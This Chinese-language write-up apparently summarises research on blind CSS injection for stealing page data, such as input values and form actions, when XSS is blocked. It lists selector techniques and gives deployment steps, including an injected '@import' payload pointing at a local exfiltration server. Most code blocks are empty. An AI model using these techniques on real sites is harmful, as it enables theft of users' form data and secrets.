盲式CSS数据外泄:攻破未知网页结构
(已加速处理避免长时间等待)
技术背景与应用场景
当遇到盲注HTML注入漏洞且无法通过XSS突破CSP防护或DOM过滤器(如DOMPurify)时,CSS样式注入成为关键突破口。传统认知中"仅样式无危害"的误区在此被彻底颠覆。
核心技术原理
1. 注入验证与OAST检测
通过Burp Collaborator注入@import
规则确认样式注入点:
|
|
2. CSS变量触发外部请求
利用CSS变量作为开关机制,配合回退值控制背景图片请求:
|
|
3. 属性选择器数据提取
- 前缀匹配:
input[value^="a"]
- 后缀匹配:
input[value$="f"]
- 结合背景请求实现数据外传
4. :has选择器革命性突破
突破传统兄弟选择器限制,直接基于子元素状态触发父元素请求:
|
|
5. HTML根元素滥用策略
通过html
元素设置背景避免样式覆盖:
|
|
6. :not选择器链式枚举
已获取数据的元素通过排除法继续探测后续元素:
|
|
7. @import链式阻塞加载
借鉴d0nut和Pepe Vila的研究,使用CSS导入阻塞机制控制数据提取节奏
8. 多背景无限请求技术
通过预定义CSS变量集合实现大规模数据外传:
|
|
实战部署方案
-
获取工具:
1 2
git clone [Blind CSS Exfiltrator仓库] node css-exfiltrator-server.js
-
触发外泄:
1
<style>@import 'http://localhost:5001/start';</style>
-
代理配置(Apache示例):
1
ProxyPass /blind-css-exfiltration http://localhost:5001
支持的数据类型
- 输入框name/value属性
- 文本域name属性
- 表单action参数
- 锚链接内容
- 几乎所有ASCII字符
演示环境警告
PortSwigger实验室演示系统存在IP单次限制,建议自行部署服务器以获得完整体验:
|
|
技术细节持续更新至2024年7月11日,完整代码参见GitHub仓库